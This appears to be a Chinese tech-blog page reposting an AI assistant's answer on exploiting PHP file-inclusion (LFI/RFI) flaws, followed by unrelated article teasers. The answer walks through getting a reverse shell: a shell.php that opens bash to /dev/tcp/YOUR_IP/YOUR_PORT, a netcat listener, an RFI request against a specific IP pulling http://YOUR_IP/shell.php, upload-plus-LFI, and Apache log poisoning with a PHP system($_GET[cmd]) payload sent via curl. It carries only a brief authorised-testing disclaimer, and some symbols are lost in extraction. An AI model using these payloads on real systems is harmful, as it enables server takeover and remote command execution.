文件包含漏洞利用技巧

发布时间:2026/10/11 2:15:20

文件包含漏洞利用技巧 你提供的图片显示的是一个网页的 HTML 源码其中包含一行被注释掉的 PHP 代码!--?php include $_GET[image];--这行代码表明该页面原本存在“文件包含漏洞”File Inclusion Vulnerability但当前已被注释掉即未生效因此目前无法直接利用它来反弹 shell。 一、什么是文件包含漏洞在 PHP 中include()、require()等函数如果参数可控如来自$_GET、$_POST攻击者可以传入恶意文件路径或远程 URL导致服务器执行任意 PHP 代码 —— 这就是本地/远程文件包含漏洞LFI/RFI。例如?php include $_GET[file]; ?访问http://target.com/vuln.php?file../../etc/passwd → LFI http://target.com/vuln.php?filehttp://attacker.com/shell.php → RFI 二、为什么你现在不能反弹 shell从截图看代码是!--?php include $_GET[image];--—— 被 HTML 注释包裹PHP 不会执行。即使去掉注释也需要满足以下条件才能反弹 shell服务器允许远程文件包含allow_url_include On你能上传或控制一个包含反弹 shell 代码的文件目标服务器能 outbound 连接到你的监听端口✅ 三、假设漏洞未被注释如何利用它反弹 shell步骤 1准备反弹 shell 脚本创建一个名为shell.php的文件内容如下以 Bash 反弹为例?php exec(/bin/bash -c bash -i /dev/tcp/YOUR_IP/YOUR_PORT 01); ?⚠️ 替换YOUR_IP和YOUR_PORT为你自己的公网 IP 和监听端口比如192.168.1.100:4444步骤 2启动监听器在你的机器上运行nc -lvnp 4444 # 或者使用 netcat, socat, msfconsole 等步骤 3触发文件包含如果漏洞存在且未被注释访问http://192.168.19.133/antibot_image/antibot.php?imagehttp://YOUR_IP/shell.php→ 如果成功你的 nc 监听器会收到反向连接 四、进阶技巧当 RFI 被禁用时如果allow_url_include Off你可以尝试方法 A上传恶意文件 LFI通过上传功能如头像、日志、缓存等上传shell.php利用 LFI 包含它?image../../uploads/shell.php方法 B利用日志文件注入很多 Web 服务器会把 User-Agent、Referer 写入日志文件如/var/log/apache/access.log你可以构造请求curl -A ?php system(\$_GET[cmd]); ? http://target.com/然后包含日志文件?image/var/log/apache/access.logcmdid 五、重要提醒仅限授权测试环境使用在生产系统中利用此类漏洞属于违法行为。图中代码已注释说明开发者可能已经修复了漏洞。如果你是渗透测试人员请确认目标是否授权。 总结项目状态当前漏洞是否可用❌ 否代码被注释若 uncomment 后可否反弹 shell✅ 是需配合 RFI/LFI 外部脚本推荐工具Burp Suite, Netcat, MSFVenom, LinPEAS如果你希望我帮你分析这个站点是否有其他可利用点比如上传、XSS、SQLi 等可以提供更多页面信息或截图安全第一合法合规地进行学习和测试
延伸阅读

更多相关文章

2026/10/10 12:56:59

图像特征提取实战:从SIFT到深度学习CNN的5种方法演进与选型指南

图像特征提取实战:从SIFT到深度学习CNN的5种方法演进与选型指南当计算机需要理解一张图片时,它首先会寻找图像中的关键特征——就像人类通过轮廓和纹理识别物体一样。从早期的SIFT手工特征描述符,到如今基于深度学习的自动特征提取&#xff0…

2026/10/10 0:36:26

想要挂号不难?来看看智能体如何重构门诊效率

大型综合医院的门诊量在持续攀升。一线城市三甲医院的日均门诊量早已过万,部分医院峰值突破两万,但医生数量、诊室空间、门诊时长却相对固定。医院的扩张又受限于编制审批周期、基建预算和人才培育周期,短期内很难实现。因此,管理…

2026/10/11 2:12:29

双指针算法详解:对撞、快慢与滑动窗口实战

1. 双指针到底解决了什么问题先从一个最常见的场景说起。假设你拿到了一个有序数组,要找出其中两个数,使它们的和等于某个目标值。最直接的想法是两层循环暴力枚举,第一层固定一个数,第二层遍历剩下的数去检查。这个方案的复杂度是…

2026/10/11 2:12:29

EtherCAT网关选型全攻略:协议、芯片、线缆三大关键

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 2:12:29

Docker搭建Redis集群实战:从主从复制到哨兵模式与Cluster分片

1. 为什么要用Docker搭Redis集群:从单节点到主从哨兵的演进逻辑先说一个很多人问我的问题:单机Redis用得好好的,为什么要费劲搭集群?这个问题其实分两层。第一层,如果你的业务量还没到单节点扛不住的程度,那…

2026/10/11 2:12:29

段式存储管理地址转换:一道408真题拆解段表与越界判断

1. 考点定位与题目背景1.1 这道题为什么值得反复咀嚼如果你准备过408统考,应该有这样的体会:操作系统里内存管理章节,概念多、原理杂,但真正落到计算题上,考来考去就是地址变换。段式管理、页式管理、段页式管理&#…

2026/10/11 2:12:29

华为鸿蒙免费外卖记录工具—小羊外卖

名字容易误会:小羊外卖不接单、不送餐,只帮你把点过的留下来。盼你装上,先记最近一顿——下次饭点纠结,可以从自己的味道里抽一家。先说重点① 纯净、无广告、不收费② 记餐厅、菜品、价钱、评分,还能拍小票、复制上次…

2026/10/11 2:07:29

嵌入式Bug排查实战指南:从日志法到示波器的系统化调试思路

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 0:02:13

Python调用Gemini Structured Outputs实现工单路由门禁

客服工单最怕的不是模型“答错一句话”,而是它给出一段看起来合理的说明,程序却从中猜错优先级。通俗做法是:要求模型只交 JSON(JavaScript Object Notation,轻量数据格式),再让代码验证它。Gem…

2026/10/11 0:02:13

Spring Boot超市进销存系统毕设实战:从需求拆解到答辩通关

最近带的一个学生项目组里,有A同学跑来问我:选什么毕设题目最稳妥,既能让评审老师觉得工作量够,又不会在答辩时被问到语无伦次。我第一反应就是推荐基于Spring Boot的超市仓库管理系统——也就是超市进销存系统。这个题目乍一看平…

2026/10/11 0:02:13

Flutter StatefulWidget 生命周期核心解析

很多刚开始接触 Flutter 的朋友,在看完一堆“Hello World”和基础组件之后,大概率都会撞上同一堵墙:StatefulWidget 里那堆 initState、build、dispose 方法,到底什么时候被调用?为什么顺序是那样?在里面到…

2026/10/11 0:02:13

Python调用Gemini Structured Outputs实现工单路由门禁

客服工单最怕的不是模型“答错一句话”,而是它给出一段看起来合理的说明,程序却从中猜错优先级。通俗做法是:要求模型只交 JSON(JavaScript Object Notation,轻量数据格式),再让代码验证它。Gem…

2026/10/11 0:02:13

Spring Boot超市进销存系统毕设实战:从需求拆解到答辩通关

最近带的一个学生项目组里,有A同学跑来问我:选什么毕设题目最稳妥,既能让评审老师觉得工作量够,又不会在答辩时被问到语无伦次。我第一反应就是推荐基于Spring Boot的超市仓库管理系统——也就是超市进销存系统。这个题目乍一看平…

2026/10/11 0:02:13

Flutter StatefulWidget 生命周期核心解析

很多刚开始接触 Flutter 的朋友,在看完一堆“Hello World”和基础组件之后,大概率都会撞上同一堵墙:StatefulWidget 里那堆 initState、build、dispose 方法,到底什么时候被调用?为什么顺序是那样?在里面到…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑